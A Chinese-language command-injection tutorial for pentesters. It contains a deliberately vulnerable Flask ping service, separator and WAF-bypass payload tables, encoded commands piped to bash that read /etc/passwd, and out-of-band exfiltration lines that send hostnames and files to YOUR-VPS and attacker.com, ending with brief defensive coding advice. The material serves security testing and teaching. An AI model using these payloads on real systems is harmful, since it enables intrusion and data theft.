适合人群:初中级安全测试人员
前置知识:Linux基本命令、HTTP协议
一、前置准备
# 靶场
docker pull vulnerables/cve-2018-0114 # 命令注入专用靶场
# 或 Python 简易靶场
python3 -c "
from flask import Flask, request
import subprocess
app = Flask(__name__)
@app.route('/ping')
def ping():
ip = request.args.get('ip', '8.8.8.8')
result = subprocess.run(f'ping -c 1 {ip}', shell=True, capture_output=True, text=True)
return f'<pre>{result.stdout}</pre>'
app.run(host='0.0.0.0', port=5000)
"
测试工具:
- Burp Suite / xcurl
- curl(快速测试)
- 自己VPS(OOB/回调验证)
二、核心原理
命令注入的本质是用户输入被拼接到系统命令中执行。
# 漏洞代码
import subprocess
ip = request.form['ip']
# ❌ 直接拼接用户输入
result = subprocess.run(f'ping -c 1 {ip}', shell=True)
判断特征:
参数名: cmd, exec, command, ping, ip, host, addr, target, shell
功能点: ping/traceroute/nslookup/dig/whois 等网络工具
测试: ping 127.0.0.1; ls → 如果ls的结果回显 → 命令注入
与RCE的区别:
| 特征 | 命令注入 | 代码注入(RCE) | ||
|---|---|---|---|---|
| 执行方式 | 系统Shell命令 | 程序代码(PHP/Python/Java) | ||
| 利用方式 | ; ` | $() | ||
| 常见环境 | ping/nslookup/wget | eval/exec/system |
三、注入方式速查表
Linux
| 方式 | Payload | 说明 | ||
|---|---|---|---|---|
| 分号 | ; id | 不受限制,推荐 | ||
| 管道 | `\ | id` | 标准输出传递 | |
| 逻辑或 | `\ | \ | id` | 前面命令失败时执行 |
| 逻辑与 | && id | 前面命令成功时执行 | ||
| 反引号 | ` id ` | 命令替换 | ||
| $() | $(id) | 命令替换(推荐) | ||
| 换行符 | %0aid | URL编码换行 | ||
| 重定向 | > /tmp/test | 无回显时测试 |
Windows
| 方式 | Payload | 说明 | ||
|---|---|---|---|---|
| 管道 | `\ | whoami` | 最常用 | |
| 分号 | & whoami | &分隔 | ||
| 逻辑或 | `\ | \ | whoami` | 同上 |
| 逻辑与 | && whoami | 同上 | ||
| 换行 | %0awhoami | 编码换行 |
无回显(盲注)
# 延时检测
; sleep 5
| timeout 5
& ping -c 5 127.0.0.1
# OOB/DNS回调
; curl http://YOUR-VPS:PORT/test
| nslookup `whoami`.YOUR-BURP-COLLABORATOR
& wget --post-data="`hostname`" http://YOUR-VPS:PORT/
四、WAF绕过技术
4.1 基础绕过
| 方式 | Payload | 适用场景 | ||
|---|---|---|---|---|
| 反斜杠 | c\a\t /etc/passwd | 黑名单关键字绕过 | ||
| 引号分割 | c''at /e''tc/pa''sswd | 单引号可插入任意位置 | ||
| 双引号 | c"at" /etc/pass"wd" | 同上 | ||
| $变量 | ca$*t /etc$@/passwd | Shell变量展开 | ||
| 编码 | `echo Y2F0IC9ldGMvcGFzc3dk\ | base64 -d\ | bash` | Base64编码命令 |
4.2 进阶绕过
命令名绕过(黑名单场景):
# 假设 blocked: cat, whoami, id
c\a\t /etc/passwd # 反斜杠插入
/usr/bin/cat /etc/passwd # 全路径
cat$(printf '\x') /etc/passwd # printf编码
`echo Y2F0|base64 -d` /etc/passwd # base64解码
# whoami 绕过
who$()ami
whoa$*mi
/usr/bin/whoami
空格绕过:
;{cat,/etc/passwd} # 花括号
;cat$IFS/etc/passwd # IFS变量($IFS=$' \t\n')
;cat${IFS}/etc/passwd # 同上带大括号
;cat%09/etc/passwd # 制表符(URL编码)
;cat< /etc/passwd # 输入重定向绕过空格
字符限制绕过:
# 无空格
ping%09127.0.0.1%09;%09cat%09/etc/passwd
# 无特殊符号(只有字母和数字)
$(printf '\x63\x61\x74') /etc/passwd
# 无斜杠
$(echo . | cut -c1)etc$(echo . | cut -c1)passwd
# 等价于 /etc/passwd
# 全字母命令
echo `expr substr "cat /etc/passwd" 1 15` | sh
4.3 编码绕过
# Base64
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash
# Hex
echo 636174202f6574632f706173737764|xxd -r -p|bash
# Octal
$(printf "\143\141\164\40\57\145\164\143\57\160\141\163\163\167\144")
# URL编码
%3B%63%61%74%20%2F%65%74%63%2F%70%61%73%73%77%64
# Unicode编码(某些WAF不解码)
\u0063\u0061\u0074 /etc/passwd
五、实战案例
案例1:ping功能命令注入
POST /api/ping HTTP/1.1
Host: target.com
ip=8.8.8.8
POST /api/ping HTTP/1.1
Host: target.com
ip=8.8.8.8;cat /etc/hostname
预期回显:
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=1.23ms
web-server-hostname ← 命令执行结果
案例2:DNS OOB盲注
如果无回显:
# 用自己VPS接收回调
# VPS监听
nc -lvnp 8888
# Payload — 命令执行结果带出到VPS
; curl http://YOUR-VPS:8888/$(hostname)
| nslookup $(whoami).attacker.com
& wget --post-file=/etc/hostname http://YOUR-VPS:8888/
VPS收到回调:
GET /web-server-01 HTTP/1.1
案例3:通过命令行参数注入
不只是Shell拼接,部分工具本身存在命令注入:
# 漏洞代码 —— nslookup命令注入
import subprocess
domain = request.form['domain']
result = subprocess.run(f'nslookup {domain}', shell=True) # ❌
利用:
domain=target.com;cat /etc/passwd
六、命令注入检测Checklist
# 基础检测(6种注入符)
1. ; whoami # 分号
2. | whoami # 管道
3. || whoami # 逻辑或
4. && whoami # 逻辑与
5. `whoami` # 反引号
6. $(whoami) # 命令替换
# 盲注检测
7. ; sleep 5 # 延时(看响应时长)
8. | ping -c 5 VPS-IP # OOB回调
9. ; curl VPS-IP:PORT # HTTP回调
# 进阶检测
10. %3B whoami # URL编码
11. ;whoami # 无空格
12. ;c\a\t /etc/passwd # 反斜杠绕过
三步确认法:
① 基础payload → 确认存在注入点
输入: 127.0.0.1; echo CMDIYEP
输出包含: CMDIYEP ✅
② 判断注入方式 → 确定哪种分隔符有效
; | || && ` $() 逐一测试
③ 判断回显方式 → 有回显/无回显
有回显 → 直接读文件/执行命令
无回显 → 延时/OOB回调
七、防御建议
# ✅ 正确做法:使用参数化API
import subprocess
# 用列表传参(不经过shell)
subprocess.run(['ping', '-c', '1', ip]) # ✅ 安全
# 或使用shlex.quote转义
import shlex
subprocess.run(f'ping -c 1 {shlex.quote(ip)}', shell=True) # ✅ 安全
防御清单:
- 优先用非shell方式执行命令(subprocess.run + list)
- 必须用shell时,使用白名单而非黑名单过滤
- 禁用危险函数:system()/exec()/passthru()/shell_exec()
- 最小权限原则:Web服务不用root运行
八、常见陷阱
| 陷阱 | 说明 | ||
|---|---|---|---|
| ❌ HTML编码过WAF认为安全 | 服务端decode后仍可注入 | ||
| ❌ 只过滤;不过滤`\ | ` | `\ | whoami` 同样危险 |
| ❌ 只过滤单次 | 双写 ; 变为 ;; 可能绕过 | ||
| ❌ 前端JS过滤 = 安全 | Burp直接发包绕过前端 | ||
| ❌ 无回显 = 无漏洞 | 盲注同样可利用 |
九、总结速查表
一句话:看到 shell=True 或字符串拼接命令 → 必出命令注入。
| 场景 | 最优Payload |
|---|---|
| GET参数 | ?ip=127.0.0.1%3Bwhoami |
| POST表单 | ip=127.0.0.1;whoami |
| JSON API | {"ip":"127.0.0.1;whoami"} |
| HTTP Header | X-Forwarded-For: 127.0.0.1;whoami |
| 无回显 | ;curl http://VPS:PORT/$(hostname) |
| WAF有过滤 | %3Bc%5Cat%20/etc/passwd |